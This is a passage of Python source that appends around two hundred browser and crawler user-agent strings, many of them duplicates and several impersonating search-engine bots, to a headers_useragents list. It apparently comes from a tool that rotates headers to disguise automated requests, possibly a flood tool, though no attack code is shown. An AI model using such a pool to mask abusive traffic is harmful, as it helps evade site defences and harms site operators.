  613.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  614.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  615.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  616.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  617.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  618.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  619.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  620.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  621.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  622.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  623.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  624.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  625.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  626.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  627.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  628.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  629.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  630.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  631.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  632.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  633.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  634.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  635.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  636.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  637.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  638.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  639.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  640.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  641.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  642.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  643.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  644.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  645.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  646.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  647.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  648.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  649.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  650.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  651.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  652.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  653.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  654.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  655.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  656.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  657.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  658.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  659.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  660.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  661.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  662.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  663.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  664.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  665.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  666.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  667.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  668.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  669.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  670.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  671.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  672.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  673.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  674.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  675.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  676.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  677.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  678.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  679.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  680.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  681.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  682.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  683.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  684.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  685.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  686.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  687.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  688.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  689.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  690.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  691.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  692.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  693.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  694.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  695.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  696.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  697.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  698.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  699.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  700.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  701.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  702.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  703.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  704.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  705.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  706.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  707.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  708.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  709.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  710.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  711.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  712.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  713.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  714.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  715.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  716.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  717.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  718.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  719.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  720.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  721.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  722.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  723.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  724.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  725.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  726.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  727.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  728.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  729.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  730.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  731.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  732.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  733.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  734.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  735.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  736.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  737.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  738.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  739.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  740.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  741.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  742.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  743.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  744.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  745.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  746.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  747.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  748.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  749.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  750.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  751.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  752.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  753.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  754.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  755.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  756.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  757.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  758.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  759.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  760.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  761.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  762.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  763.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  764.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  765.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  766.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  767.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  768.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  769.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  770.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  771.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  772.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  773.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  774.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  775.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  776.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  777.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  778.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  779.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  780.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  781.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  782.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  783.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  784.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  785.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  786.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  787.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  788.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  789.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  790.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  791.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  792.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  793.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  794.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  795.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  796.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  797.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  798.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  799.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  800.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  801.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  802.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  803.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  804.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  805.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  806.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  807.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  808.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
